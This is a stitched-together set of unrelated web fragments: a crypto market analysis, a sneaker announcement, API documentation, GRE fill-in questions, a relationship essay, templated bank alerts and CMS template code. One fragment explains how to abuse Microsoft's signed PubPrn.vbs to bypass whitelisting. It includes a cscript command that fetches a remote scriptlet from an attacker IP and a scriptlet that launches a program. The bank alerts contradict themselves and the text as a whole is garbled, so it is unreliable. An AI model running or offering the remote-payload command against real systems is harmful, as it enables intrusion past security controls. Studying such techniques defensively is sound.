Market Analysis
As Bitcoin Price Consolidates, Litecoin Looks Ripe for Massive Gains
by Keith WareingBitcoin price (BTC) failed to ignite much interest as October closed. There are approximately 194 days left until the next Bitcoin halving, which probably feels like an eternity away for those involved with the crypto space.
This week there was also a surplus of negative news events like the Bitmex email leak and the Coinbase flash crash that caused mass liquidations on Deribit. So can we really expect Bitcoin price to do anything spectacular in the short term?
Daily crypto market performance. Source: Coin360.com
BTC USD daily chart. Source: TradingView
Bitcoin price has been locked in a tight range around $9,100 - $9,400 for the last 5 days. However, since the massive move 2 weeks ago, the Bollinger Bands (BB) indicator has opened up revealing quite a broad range of support and resistance.
The moving average shows $8,600 being the level of support that Bitcoin needs to hold before falling back in to the $7,000 range. However, it is a positive sign that Bitcoin is currently holding in the upper percentile of the Bollinger Bands as the resistance that Bitcoin needs to break to begin a new upward trend is at $9,900.
But what does the week ahead hold? Well, let's first take a look at the first major bullish signal for Bitcoin that came on Nov. 1 when a new green monthly candle was printed.
BTC USD monthly chart. Source: TradingView
Let's not underestimate the significance of this particular signal. The last time that the Heikin Ashi candles transitioned from red to green on the Bitcoin monthly chart was on April 1st, 2019.
Within just 12 weeks of this last occurring, Bitcoin’s price exploded from a low of $3,979 to $13,868 which represented a massive 350% growth in BTC/USD value.
Whilst it’s still early days, as each week progresses Bitcoin is slowly showing more bullish signs, and if history were to repeat itself we could be instore for 29% weekly growth as we head into the new year. But what other signs are there?
Is the weekly MACD turning bullish?
BTC USD weekly MACD. Source: TradingView
The weekly chart for Bitcoin has some golden nuggets starting to appear but they are not quite there yet. Using the Moving Average Divergence Convergence (MACD) we can see that the MACD line is beginning to gear up for a bullish cross, and for the past 2 weeks, the red candles on the histogram have been getting weaker.
This is a telltale sign that Bitcoin is due to enter its next bullish phase in the coming weeks. How long this will take depends on a multitude of factors, but one such place to look is on the Relative Strength Index (RSI) indicator to see if Bitcoin is oversold yet.
The weekly RSI is not showing any signs of life
BTC USD weekly RSI. Source: TradingView
Currently, the RSI on the weekly timeframe is planted in a no-trade zone. Whilst this does not necessarily mean that Bitcoin price will not increase this week, this particular indicator isn’t giving off a strong buy or sell signal.
The RSI is currently reading 54.99 after bouncing up from 45 over the last few weeks. It could be that we have already witnessed a reversal and Bitcoin price could begin to rise, but history tells us that there is probably some more downward movement ahead of us before we start to see sustainable weekly gains.
Bitcoin price targets
BTC USD weekly chart. Source: TradingView
The massive spike that occurred two weeks ago did cause Bitcoin’s price to break the moving average (MA) on the Bollinger Bands (BB) Indicator. One can normally expect the price to then form new support above the MA.
This hasn’t yet happened, and at the time of writing the moving average is around $9,945 whilst Bitcoin price is currently $9,148. Given the visible momentum from the candles on the weekly chart, it is not unreasonable to expect Bitcoin price to close over $10,000 before the end of the coming week if the bulls have their say.
If Bitcoin price can achieve this growth, then this puts $12,000 as the next level of resistance. On the downside, however, the support is still around $7,914 so the coming week could hold lots of surprises for both the bulls and bears amongst us.
Is Litecoin poised for 42% gains?
LTC USD weekly chart. Source: TradingView
There are a few reasons to focus on Litecoin (LTC). Using the same analysis on Bitcoin, the weekly positioning looks like a stronger buy on Litecoin than is does on Bitcoin.
Litecoin price seemed to have found support two weeks ago around $47 and at the time of writing the LTC/USD pair is at $57. Using the moving average on the Bollinger Bands indicator to gauge the next level of resistance shows that Litecoin looks ripe for a move up to $82 before being rejected, which would represent growth of 42%
Comparing MACDs
LTC USD weekly MACD. Source: TradingView
From a glance of Litcoin’s weekly MACD, we can see that whilst the MACD and signal lines look almost identical to that of Bitcoin, the histogram is showing is that a bullish reversal is likely to be more imminent than Bitcoin’s weekly MACD. Litecoin has printed four consecutively weaker candles whereas there are only two on Bitcoin.
As the weekly candle draws to a close on Litecoin, it is likely to show a stronger buy signal to that of Bitcoin, and the RSI provides further confirmation of this.
Litecoin’s RSI looks oversold
LTC USD weekly RSI. Source: TradingView
Compared to Bitcoin, Litecoin’s RSI is at 38.96 after a bounce from 34. Typically traders that use the RSI to identify heavily oversold assets would be looking for a reading below 30, but it’s a far better signal than Bitcoin’s current reading in the high 50’s.
As such, from a purchasing point of view, Litecoin looks to have greater upside potential and stronger technicals than Bitcoin for the week ahead.
Bearish scenario
As Bitcoin continues to consolidate, the first level of support can be found at $8,600. The bears might be cheering this forthcoming week so I'd expect this would be a short-lived victory.
Should $8,600 fail to hold, the next levels are $7,900 and then $7,200. The doom and gloom scenarios calling for a revisit to $6,000 are now less likely to playout, however never say never, Bitcoin forever surprises investors and traders alike.
Bullish scenario
Bitcoin is currently about $600 away from both support and resistance, but a break upwards at this stage could see the price begin to form a new level of support around the $9,900 region.
The views and opinions expressed here are solely those of the @officiallykeith and do not necessarily reflect the views of Cointelegraph. Every investment and trading move involves risk. You should conduct your own research when making a decision.


Puma & Dreamville Team Up For Clyde Hardwood Basketball Sneaker [PHOTOS]
by Yohance Kyles (@HUEYmixwitRILEY)Kyle Kuzma premiered the footwear on-court in LA.
(AllHipHop News) Puma Hoops linked with J. Cole's Dreamville Records for a special edition of the Clyde Hardwood basketball silhouette. The two brands previously worked together on the PUMA x Dreamville Clyde ROTD3 which debuted at the Day N Vegas festival earlier this month.
A description of the Clyde Hardwood Dreamville reads:
While designed to pay tribute to PUMA’s rich basketball history from the days of Walt “Clyde” Frazier on the court in the ‘70s, the shoe is made to include today’s performance technology, resulting in a perfect court to street hybrid shoe. Key features include vintage materials and old school design lines, while the on-court performance of the shoe includes engineered lacing systems, ProFoam cushioning midsole, and a specially-tuned traction pattern for the court.
Puma Hoops signee Kyle Kuzma of the Los Angeles Lakers premiered the sneakers in a basketball game against the Golden State Warriors. The Clyde Hardwood Dreamville retails for $120 and will be available exclusively online at Footlocker.com beginning November 22.
The German apparel company has been building relationships with numerous Hip Hop representatives. Besides Dreamville Records, Puma partnered with Meek Mill, Nipsey Hussle, G-Eazy, and YBN Cordae.


val success: Boolean
Whether the command execution was successful or not.
success - Whether the command execution was successful or not.
success


My name is Shivani Shah and I am currently working as a systems electrical engineer on the surgical robotics team at Neuralink.
In my professional and academic careers, I have worked on multidisciplinary projects that require a strong collaboration between the electrical, mechanical and software teams. More specifically, I enjoy robotics and automotive engineering.
Outside of work, I have a variety of hobbies including tennis, climbing and running. I also love all sorts of crafts including drawing, woodworking and clay! My work can be found under Art.


Maybe you only have access to a Linux host that can pivot to the Windows portion of a network and cannot interface with Windows directly. If you have an SSH tunnel, you can pass Kerberos tickets just like hashes using Impackets library. Here is the example picture for the Golden and Silver pages below.


Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.
PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. [1] Example command:
cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs <IP_ADDRESS> script:http[:]//<IP_ADDRESS>/hi.png
There are several other signed scripts that may be used in a similar manner. [2]
When abusing injection, we are taking advantage of attacker controlled input passed to GetObject() and then combining that with the “script:” or “scriptlet:” COM monikers.
GetObject()
This method allows you to access an already instantiated COM object. If there isn’t an instance of the object already (if invoked without a moniker), this call will fail. For example, accessing Microsoft Excel’s COM object via GetObject() would look like this:
Set obj = GetObject( , "Excel.Application")
For the above to work, an instance of Excel has to be running. You can read more about GetObject() here.
While GetObject() is interesting by itself, it only allows us to access an instance of an already instantiated COM object. To get around this, we can implement a COM moniker to facilitate our payload execution. If you aren’t familiar with COM monikers, you can read more about them here. There are various COM monikers on Windows that allow you to instantiate objects in various ways. From an offensive standpoint, you can use these monikers to execute malicious code.
An example COM scriptlet will look like this:
<?XML version="1.0"?>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</scriptlet>
You can also use James Forshaw’s (@tiraniddo) tool DotNetToJScript to extend the JScript/VBScript in the COM Scriptlet, allowing for Win32 API access and even Shellcode execution. When you combine one of these two monikers and various calls to GetObject(), a lot of fun is had.
PubPrn.vbs
On Windows 7+, there is a Microsoft Signed WSH script called “PubPrn.vbs,” which resides in “C:\Windows\System32\Printing_Admin_Scripts\en-US”. When looking at this particular script, it becomes apparent that it is taking input provided by the user (via command line arguments) and passing an argument to “GetObject()”.
This means that we can run this script and pass it the two arguments it expects. The first argument can be anything and the second argument is the payload via the script: moniker.
Note: If you provide a value that isn’t a network address for the first argument (since it expects a ServerName), you can add the “/b” switch to cscript.exe when calling to suppress any additional error messages.
Since VBScript relies on COM to perform actions, it is used heavily in numerous Microsoft signed scripts.


Get | Set | Fly
1. With his sub-four minute mile Bannister broke a psychological barrier, and inspired thousands of others to attempt to overcome seemingly ____ hurdles. A. insurmountable B. inane C. trivial D. traumatic E. ineffable
2. Ricks has written extensively not only on the poetry of such (i)____ figures in English poetry as Milton and Housman, but also on the less obviously (ii)____ lyrics of Bob Dylan.
3. People who seek advice from (i)____ often find that what they are told can seem true, because these seekers of information attribute significance to some predictions and ignore others. The mind seeks to make sense of predictions that, in themselves, have no (ii)____ value, and thus it becomes difficult to prove that the forecasts are (iii)____ .
4. Stress-induced amnesia is a rare and (i)____ phenomenon; it strikes the patient apparently without warning and the memory loss can be as (i)____ as that induced by (iii)____ trauma.
5. The publishers, unwilling to (i)____ the entire risk, insisted that the author pay half the cost of the initial print run of his (ii)____ new book.
6. Science advances (i)____ as (ii)____ change abruptly and we are forced to stop and reorient ourselves to view old information in new ways.
7. The game of chess is an example of a ___ information system: the pieces sit inertly on the board until the players move them according to known rules. A. interactive B. passive C. cybernetic D. disruptive E. logistic
8. A highly intelligent person often thinks (i)____; a few snippets of information can trigger a (ii)____ conclusion that might not stand up to closer, and (iii)____, scrutiny.
9. Major philosophical (i)____ about morality, identity and rationality, for example, can often be (ii)____ by thought experiments: short and simple expositions that pose an abstract and complex problem in a concrete manner with all the (iii)____ factors removed.
10. All good comic writers use humor to ____, not to side-step the problems of human behavior. A. amuse B. avert C. juxtapose D. confront E. solve


Additional PxScene and PxPhysics options stored in XML serialized data.
More...
#include <PxSerialization.h>
Additional PxScene and PxPhysics options stored in XML serialized data.
The PxXmlMiscParameter parameter can be serialized and deserialized along with PxCollection instances (XML only). This is for application use only and has no impact on how objects are serialized or deserialized.
- See also
- PxSerialization::createCollectionFromXml, PxSerialization::serializeCollectionToXml
◆ PxXmlMiscParameter() [1/2]
| PxSerialization::PxXmlMiscParameter::PxXmlMiscParameter |
( |
| ) |
|
|
inline |
◆ PxXmlMiscParameter() [2/2]
◆ scale
Tolerances scale to be used for the scene.
◆ upVector
| PxVec3 PxSerialization::PxXmlMiscParameter::upVector |
Up vector for the scene reference coordinate system.
The documentation for this struct was generated from the following file:


{# {{ content }}#}
When we hit it off with another person and confirm our feelings, we fall in love and think we've finally found the one.
But almost everyone complains that, no matter how good a relationship is, there seems to be a psychological gap after the period of intense love, when all kinds of contradictions and irreconcilable parts come to the surface.
And the greater the initial enthusiasm, the greater the gap may be.
What are the three periods of intimacy?
There are "transitions" in intimate relationships.
If you use
Level of relationship involvement, satisfaction with the relationship, intimacy between two people.
A successful, stable relationship can be broadly divided into three stages:
In the beginning, we will experience one
Madly in love period
, intimacy is increasing rapidly, so are levels of engagement and satisfaction in relationships;
And then, all the intimate relationships go into one
The transition period
", also known as a "quiet period", is a period of reappraisal and readjustment of relationships. And the interesting thing is,
Intimacy is still increasing, but relationship satisfaction and relationship investment levels are both lower than before.
We become more familiar and intimate with each other, but with less effort and more dissatisfaction.
And if it goes well, then the relationship goes in
plateau.
Relationship investment levels and satisfaction began to rise slowly again, and intimacy continued to increase steadily.
It's not hard to see how making it through the "transition" can make the difference between a relationship falling apart and one that continues to thrive. Today's article is to talk about what we should do about the inevitable "transition".
In transition, every relationship
Three major challenges to face
The.
When we are madly in love, we get carried away and don't realize the problems and dangers that already exist. The transition brings some contradictions to the fore:
1. Objective differences between you
There is no perfect match between two people in the world. Differences in genes, age, growth environment and life experience will definitely lead to various differences between partners.
The difference could be
character
For example, one person is introverted, the other is extroverted, one likes active expression, the other likes passive acceptance;
May be
behavior
On, such as a person is resolute, a person is indecisive;
May be
Living habits
For example, one person likes to travel, the other likes to stay at home; One does not love to clean up the house, one is cleanliness;
And it could be
hobby
and
values
For example, one likes reading Hemingway and the other likes playing video games. One is pro-feminist, the other is a bit macho...
When these differences are highlighted, it may lead to conflicts between two people; At this point, whether some parts of the other side can be tolerated becomes a problem to consider.
2. You start to see conflicting expectations for the relationship
As the relationship progresses, your expectations for the relationship may be inconsistent, which can also be a source of conflict. For example, if you want to pursue a career, they want you to be a stay-at-home mom. You want to have a baby but they're not ready. You want to be independent, but they depend on you. You want them to travel with you more, but they want to stay at home more.
3. You interfere with each other's rhythms
After the hot love period,
"Partner interference"
Partnerinterference can also be an important factor in relationship instability because
Whether you live together or not, it will inevitably interfere with the rhythm of each other's lives
. In normal times, you need to accommodate each other's free time. When the holidays come around, you might want to go out with friends and travel more, but when you fall in love, you will inevitably need to spend time together.
In general, people who enter stable relationships tend to have less interaction with friends and other people
(Solomon, 2016).
There are three reasons why the transition will not be smooth
Solomon(2016) argues that the "transition period" is special because
Our intimacy continues to grow, making relationships potentially volatile.
In other words,
As we love each other more and more, our relationships become more and more dangerous.
So, what's going on at this stage that makes it easy for problems to come to light and affect our relationship?
(Miller, 1997; Miller, 2014)
1. Idealized retreat
Transitions are the beginning of taking off our "rose-tinted glasses". We stop beautifying each other: in the early days of intense love, we may think everything is fine with each other, but in transitions, you may overturn your own opinions. You may have thought your partner's uninhibited love of freedom was charming, but after you got married, you were vexed by their irresponsibility.
Now that you're in a serious relationship, you're both special and important to each other, so you're more likely to be influenced by each other and upset by what the other says.
In this case, not only the parts that we used to think were good become just so, but also the magnifying glass effect on each other's shortcomings after we have just taken off our idealized glasses. When the infatuation period is over,
In their loved ones, they found different parts from their own imagination, and even found their unbearable problems. We subconsciously magnify these effects on ourselves and our relationships and feel pain.
2. We prefer to calculate what we give and what we get
Many people feel as if they are a different person when they are madly in love. They are willing to do a lot of things: submit to their partner, try to maintain their image, even change their hobbies and life habits for their partner. Once a serious relationship is confirmed, we slack off and stop working on it. From then on, people start to think about how much they are putting into the relationship and how much the other person is putting into the relationship.
The term "surplus economy" in economics can also be used to explain the transition to intimate relationships:
At the beginning of a relationship, when both of us have given a lot and are rewarded with a surplus (feeling enough satisfaction), we tend to be less particular about rewards.
And when each other's efforts and efforts decrease, both people will feel less satisfied, and some unsatisfied parts will appear. That's when we start counting rewards.
3. More intimacy means your partner has more weapons to hurt you
As you become more familiar and intimate, your partner will learn about your strong points, but also more about your weaknesses, secrets, and flaws. In times of conflict, we use these emotionally to blame each other,
The secret between you turns into a weapon to mock and hurt each other.
All of these problems lead to our feelings about relationships
Increased uncertainty
.
We start to doubt ourselves, our partner and our relationship
(Solomon, 2016).
We think: Am I losing myself for others? Is my commitment really worth it? Am I getting what I deserve? Does the relationship really have a future? For long-distance couples, this uncertainty is a greater challenge due to practical obstacles to communication (Kelmer, 2013).
How to smooth the transition?
According to Solomon(2016) 'Relationship Turbulence Model',
During the transition period, reducing uncertainty is more important than increasing intimacy.
1. Maintain good communication: be precise with emphasis on validation and verification.
From the beginning of the relationship, you should communicate what you expect from each other. Talk openly about your strengths and weaknesses, your differences, the parts of the relationship that feel threatened, your contributions and benefits, and set some rules. The more discussions you have at the beginning, the fewer misunderstandings and pitfalls you will have later.
At the same time, in your communication process, must pay attention to confirmation, retelling, testing, to avoid the occurrence of wrong cognition. What you think they are may not be who they really are, what you think they are expecting may just be your misunderstanding, and what you are conveying may not be well received.
Therefore, never take it for granted, and try to get the answer from the other person through communication, such as repeating what you understand to the other person to check if you understand it correctly.
2. Think about what is a deal breaker.
Everyone should consider what they absolutely can't stand in a relationship according to their own value orientation, their own concept of love, their own way of being and doing things.
Once these are exposed during the transition, you will not hesitate to end the relationship.
But deal Breaker can't be too detailed or too much. They have to be things that really push your boundaries, or too strict a setting will cause you to limit yourself and lose some of the potential for intimacy. Realize that there is no one who meets all your expectations, and building a relationship with anyone requires negotiation and compromise.
As the relationship progresses and doubts arise, you need to make a mental list of your partner's flaws and differences, prioritize those things, and see which ones are unacceptable to you and which are more acceptable to you. There are some things that you have made each other better through communication, and there are some things that you have compromised and chosen to tolerate.
Eventually, you will communicate to reach agreements and compromise on both sides to stabilize the relationship's resolution of differences
The.
3. Brainwash yourself properly.
Miller(1997b; 2014) summarized some "cognitive maintenance mechanisms," which suggest that we can consciously and actively "brainwash" ourselves during the transition period in order to protect our intimate relationships:
· Maintain a "positive illusion" : moderate idealization of your partner and relationship.
Always maintain a positive presupposition for your partner:
Even though you are clearly aware of their weaknesses and differences, you still try to see them in a positive light, thinking that their strengths are very rare and their weaknesses are not the main part.
When someone does something that hurts you, give them the benefit of the doubt.
Insist on seeing your relationship as special, unique, superior, and better than most. (Note, though, that positive illusions still need to be broadly based in fact, rather than sinking into outright fantasy.)
· Maintain a sense of community.
Thinking of you as a group, always in terms of "us" rather than "me," creates a greater sense of interdependence.
· Disregard for alternatives.
Whether or not a relationship lasts is often determined not only by the expectations of both partners, but also by potential alternatives: we constantly weigh internally how we would be without our current partner, whether we could have a better life. Would YOU be happier now if you were with someone else?
Regardless of how satisfied we are with our current relationship, we stay in relationships as long as we believe that we are not better off losing our partner and that our current relationship is already the best option.
People who are willing to maintain the positive illusion try not to be curious about other objects, about other types of life, not to look at attractive objects, and even to engage in deliberate demeaning, such as viewing an object that is actually attractive as unattractive. This takes some of the risk out of intimacy.
4. Each person believes he or she is a better person for the other.
When you're together and you're able to support each other, grow together, take responsibility, and when the relationship makes you feel like you're supporting each other to be better people, there's a deeper connection.
Unlike what many people understand as "stability," intimate relationship stability is not static or conflict-free. That state may be safe, but not intimate enough.
Lasting intimacy must be a dynamic balance:
There are differences, there are conflicts, there are distractions, there are compromises, but you both have the confidence to learn about each other, to negotiate your differences, to compromise and accept each other step by step
-
There are bound to be more problems along the way, but our relationship is strong enough to not be overwhelmed by those problems. We can find a way to solve those problems, and this person is what I want for life.
This is when you truly find security and stability in your intimate relationship.


Debit Alert# on Account Number: 030980382
Description: Nip-GTbank/Transfer Out/Abdulrahaman Hameed
Date/Time: 19 March 2019 @ 9:01am
Amount: NGN 4000
Avail. Bal: NGN59293
Enquiries? mail<EMAIL_ADDRESS>HAMEED ABDULRAHAMAN | 023897128 |
BackTransactions
- << Debit! | 19 March 2019 | Desc: Withdrawal | NGN 4000 | TransID 28791
- >> Credit! | 14 August 2019 | Desc: Payment | N5000 | TransID 42422
- >> Credit! | 14 August 2019 | Desc: Payment | N5000 | TransID 42422
Credit Alert# on Account Number: 030980382
Description: Nip-GTbank/Transfer Out/Abdulrahaman Hameed
Date/Time: 19 March 2019 @ 9:01am
Amount: NGN 4000
Avail. Bal: NGN59293
Enquiries? mail<EMAIL_ADDRESS>Credit Alert# on Account Number: 030980382
Description: Nip-GTbank/Transfer Out/Abdulrahaman Hameed
Date/Time: 19 March 2019 @ 9:01am
Amount: NGN 4000
Avail. Bal: NGN59293
Enquiries? mail banka@banka.com


{:__('Latest recommend')}
{cms:arclist id="item" channel="$__CHANNEL__.parent_id" row="8" orderby="publishtime" orderway="desc" type="sons"}
{/cms:arclist}
{:__('Hot recommend')}
{cms:arclist id="item" tags="__ARCHIVES__.tags" row="8" orderby="publishtime" orderway="desc"}
{/cms:arclist}


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Seller Address Line 1
Seller Address Line 2
Seller Address Line 3
Seller GSTIN
Buyer Name
Buyer Address Line1
Buyer Address Line2
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Buyer GSTIN
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Invoice date
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Buyer's Order No.
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To support existing device interfaces, such as any of the system's predefined kernel-streaming interfaces, the AddInterface directives have to specify the appropriate interfaceGUID values of the corresponding devices.
See also the Glossary entries for [DDInstall.Interfaces], Decorated names.
Entries and values
References :
[AC97SMPL.NTX86.Interfaces]
...
AddInterface=%KSCATEGORY_AUDIO%,%KSNAME_Wave%, AC97SMPL.Interface.Wave
AddInterface=%KSCATEGORY_RENDER%,%KSNAME_Wave%, AC97SMPL.Interface.Wave
AddInterface=%KSCATEGORY_CAPTURE%,%KSNAME_Wave%, AC97SMPL.Interface.Wave
AddInterface=%KSCATEGORY_AUDIO%,%KSNAME_Topology%, AC97SMPL.Interface.Topology
[Strings.0407]
...
KSCATEGORY_AUDIO="{6994AD04-93EF-11D0-A3CC-00A0C9223196}"
KSCATEGORY_RENDER="{65E8773E-8F56-11D0-A3B9-00A0C9223196}"
KSCATEGORY_CAPTURE="{65E8773D-8F56-11D0-A3B9-00A0C9223196}"
KSNAME_Wave="Wave"
KSNAME_Topology="Topology"
See also the Glossary entry for AddInterface.


---
title: Terms Of Service
permalink: /terms-of-service
---
Terms Of Service
This service is provided "as is", without any warranty. Your recordings may not be saved, or uploaded. Also, they may be kept on the device, despite asking not to keep them there. The service is provided on a best effort basis and might not be provided at all. Do not use this service for emergencies, as Murphy and its law might pop up and kill it at the time of need.


my simple bootstrap website
I study Informatics, which includes mainly:
In free time I enjoy playing football and create projects with Arduino My posts on Pastebin My projects on GitHub


TeeJay Zajac
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Guidance
How much year 7 literacy and numeracy catch-up premium funding schools receive, and advice on how to spend it.
The literacy and numeracy catch-up premium gives schools additional funding to support year 7 pupils who did not achieve the expected standard in reading or maths at the end of key stage 2 ( KS2 ).
We have made allocations to state-funded schools including:
In 2016 to 2017 schools were allocated the same overall amount of year 7 catch-up premium funding they received in 2015 to 2016, adjusted to reflect the percentage change in the size of their year 7 cohort, based on the October 2016 census.
See how much year 7 catch-up premium you received for the 2016 to 2017 financial year .
Maintained schools do not receive funding directly from DfE. We give your year 7 catch-up premium funding to your local authority and they pass it on to you.
Your local authority received your funding for the 2016 to 2017 academic year on 28 February 2017.
The Education Funding Agency (EFA) sends academies and free schools their year 7 catch-up premium funding.
You received your funding for the 2016 to 2017 academic year on 1 March 2017.
You should identify pupils who need extra support from the year 7 catch-up premium, so you can decide the best way to use the funding. You should only select programmes and approaches that you know are effective.
For example, you could use the funding to pay for:
You can find examples of effective approaches and programmes in our summary of research into literacy and numeracy catch-up strategies .
You must publish details of how you spend your year 7 catch-up premium funding on your website.
Guidance on what specific information you need to publish on your website is available.
Ofsted inspectors will also consider how your school is using the premium.
Published: 25 March 2014
Updated: 2 March 2017


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The congress.datalog.nonrecursive
Module¶
-
class
congress.datalog.nonrecursive.
ActionTheory
(name=None, abbr=None, schema=None, theories=None, desc=None, owner=None)¶ Bases:
congress.datalog.nonrecursive.NonrecursiveRuleTheory
ActionTheory object.
Same as NonrecursiveRuleTheory except it has fewer constraints on the permitted rules. Still working out the details.
-
update_would_cause_errors
(events)¶ Return a list of PolicyException.
Return a list of PolicyException if we were to apply the events EVENTS to the current policy.
-
-
class
congress.datalog.nonrecursive.
DatasourcePolicyTheory
(name=None, abbr=None, schema=None, theories=None, desc=None, owner=None)¶ Bases:
congress.datalog.nonrecursive.NonrecursiveRuleTheory
DatasourcePolicyTheory is identical to NonrecursiveRuleTheory, except that self.kind is base.DATASOURCE_POLICY_TYPE instead of base.NONRECURSIVE_POLICY_TYPE. DatasourcePolicyTheory uses a different self.kind so that the synchronizer knows not to synchronize policies of kind DatasourcePolicyTheory with the database listing of policies.
-
class
congress.datalog.nonrecursive.
MultiModuleNonrecursiveRuleTheory
(name=None, abbr=None, schema=None, theories=None, desc=None, owner=None)¶ Bases:
congress.datalog.nonrecursive.NonrecursiveRuleTheory
MultiModuleNonrecursiveRuleTheory object.
Same as NonrecursiveRuleTheory, except we allow rules with theories in the head. Intended for use with TopDownTheory’s INSTANCES method.
-
class
congress.datalog.nonrecursive.
NonrecursiveRuleTheory
(name=None, abbr=None, schema=None, theories=None, desc=None, owner=None)¶ Bases:
congress.datalog.topdown.TopDownTheory
A non-recursive collection of Rules.
-
arity
(table, modal=None)¶ Return the number of arguments TABLENAME takes.
:param table can be either a string or a Tablename Returns None if arity is unknown (if it does not occur in
the head of a rule).
-
body
(formula)¶ Return formula body.
Given a FORMULA, return a list of things to push onto the top-down eval stack.
-
content
(tablenames=None)¶
-
define
(rules)¶ Empties and then inserts RULES.
-
defined_tablenames
()¶ Returns list of table names defined in/written to this theory.
-
delete
(rule)¶
-
empty
(tablenames=None, invert=False)¶ Deletes contents of theory.
If provided, TABLENAMES causes only the removal of all rules that help define one of the tables in TABLENAMES. If INVERT is true, all rules defining anything other than a table in TABLENAMES is deleted.
-
head
(formula)¶ Given the output from head_index(), return the formula head.
Given a FORMULA, return the thing to unify against. Usually, FORMULA is a compile.Rule, but it could be anything returned by HEAD_INDEX.
-
head_index
(table, match_literal=None)¶ Return head index.
This routine must return all the formulas pertinent for top-down evaluation when a literal with TABLE is at the top of the stack.
-
initialize_tables
(tablenames, facts)¶ Event handler for (re)initializing a collection of tables
@facts must be an iterable containing compile.Fact objects.
-
insert
(rule)¶
-
policy
()¶
-
revert_schema
(schema_changes)¶
-
update
(events)¶ Apply EVENTS.
And return the list of EVENTS that actually changed the theory. Each event is the insert or delete of a policy statement.
-
update_rule_schema
(rule, is_insert)¶
-
update_would_cause_errors
(events)¶ Return a list of PolicyException.
Return a list of PolicyException if we were to apply the insert/deletes of policy statements dictated by EVENTS to the current policy.
-


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At midday, I am the same size and shape of an elephant, but I do not weigh the same as an elephant. At night, I am not seen at all. What am I?


{% extends 'common/base.html' %} {% block title %}Access Denied{% endblock %} {% block content %}
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Cheap, easy, quick, and delicious.
Bread
- White Hoagie
- Whole Grain Hoagie
- Multigrain Bread
- Rye Bread
- Italian
- Whole Wheat
- White
- Gluten-Free
Meat
- Turkey Breast
- Ham
- Chicken Breast
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- Turkey Salami
- Bacon
- Shaved Steak
Cheese
- American
- Cheddar
- Feta
- Pepperjack
- Provolone
- Swiss
- Mozzarella
- Cream cheese
Veggies
- Cucumbers
- Green Peppers
- Lettuce
- Red Onions
- Spinach
- Tomatoes
- Black Olives
- Pickles
Sauces
- Ranch
- Mustard
- Vinegar
- Barbecue
- Honey Mustard
- Buffalo
- Sriracha
- Mayonnaise


| Web Mode |
| A flexibly wayis provided to run web tests in web browsers directly. Test report shows in web page |
| Mirror of W3C Testing Service |
| W3C provides Python-based HTTP and websockets servers and a test runner to run the web-platform-tests in-browser. It will run testharness.js tests automatically but lack of support on reftests and manual tests. We replicate this server and mirror the W3C test repos. Try it |


Dork of the Year is determined by a value calculated by the sum of points in winning month(s) divided by games played in winning month(s) plus 2n points where n is each month won.


Regex Guide Table
Just swipe =)
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Back Reference |
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Zero or More |
One or More |
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|
ReactPhysics3D
0.8.0
C++ Physics engine library
|
This class is a singleton that needs to be instanciated once at the beginning. More...
#include <PhysicsCommon.h>
Public Member Functions | |
| PhysicsCommon (MemoryAllocator *baseMemoryAllocator=nullptr) | |
| Constructor. More... | |
| ~PhysicsCommon () | |
| Destructor. | |
| PhysicsWorld * | createPhysicsWorld (const PhysicsWorld::WorldSettings &worldSettings=PhysicsWorld::WorldSettings()) |
| Create and return an instance of PhysicsWorld. More... | |
| void | destroyPhysicsWorld (PhysicsWorld *world) |
| Destroy an instance of PhysicsWorld. More... | |
| SphereShape * | createSphereShape (const decimal radius) |
| Create and return a sphere collision shape. More... | |
| void | destroySphereShape (SphereShape *sphereShape) |
| Destroy a sphere collision shape. More... | |
| BoxShape * | createBoxShape (const Vector3 &extent) |
| Create and return a box collision shape. More... | |
| void | destroyBoxShape (BoxShape *boxShape) |
| Destroy a box collision shape. More... | |
| CapsuleShape * | createCapsuleShape (decimal radius, decimal height) |
| Create and return a capsule shape. More... | |
| void | destroyCapsuleShape (CapsuleShape *capsuleShape) |
| Destroy a capsule collision shape. More... | |
| ConvexMeshShape * | createConvexMeshShape (PolyhedronMesh *polyhedronMesh, const Vector3 &scaling=Vector3(1, 1, 1)) |
| Create and return a convex mesh shape. More... | |
| void | destroyConvexMeshShape (ConvexMeshShape *convexMeshShape) |
| Destroy a convex mesh shape. More... | |
| HeightFieldShape * | createHeightFieldShape (int nbGridColumns, int nbGridRows, decimal minHeight, decimal maxHeight, const void *heightFieldData, HeightFieldShape::HeightDataType dataType, int upAxis=1, decimal integerHeightScale=1.0f, const Vector3 &scaling=Vector3(1, 1, 1)) |
| Create and return a height-field shape. More... | |
| void | destroyHeightFieldShape (HeightFieldShape *heightFieldShape) |
| Destroy a height-field shape. More... | |
| ConcaveMeshShape * | createConcaveMeshShape (TriangleMesh *triangleMesh, const Vector3 &scaling=Vector3(1, 1, 1)) |
| Create and return a concave mesh shape. More... | |
| void | destroyConcaveMeshShape (ConcaveMeshShape *concaveMeshShape) |
| Destroy a concave mesh shape. More... | |
| PolyhedronMesh * | createPolyhedronMesh (PolygonVertexArray *polygonVertexArray) |
| Create a polyhedron mesh. More... | |
| void | destroyPolyhedronMesh (PolyhedronMesh *polyhedronMesh) |
| Destroy a polyhedron mesh. More... | |
| TriangleMesh * | createTriangleMesh () |
| Create a triangle mesh. More... | |
| void | destroyTriangleMesh (TriangleMesh *triangleMesh) |
| Destroy a triangle mesh. More... | |
| DefaultLogger * | createDefaultLogger () |
| Create and return a new default logger. More... | |
| void | destroyDefaultLogger (DefaultLogger *logger) |
| Destroy a default logger. More... | |
Static Public Member Functions | |
| static Logger * | getLogger () |
| Return the current logger. More... | |
| static void | setLogger (Logger *logger) |
| Set the logger. More... | |
This class is a singleton that needs to be instanciated once at the beginning.
Then this class is used by the user as a factory to create the physics world and other objects.
| PhysicsCommon::PhysicsCommon | ( | MemoryAllocator * | baseMemoryAllocator = nullptr | ) |
Constructor.
| baseMemoryAllocator | Pointer to a user custom memory allocator |
Create and return a box collision shape.
| halfExtents | A vector with the three half-extents of the box shape |
| CapsuleShape * PhysicsCommon::createCapsuleShape | ( | decimal | radius, |
| decimal | height | ||
| ) |
Create and return a capsule shape.
| radius | The radius of the sphere of the capsule shape |
| height | The height of the capsule shape (distance betwen the two spheres centers) |
| ConcaveMeshShape * PhysicsCommon::createConcaveMeshShape | ( | TriangleMesh * | triangleMesh, |
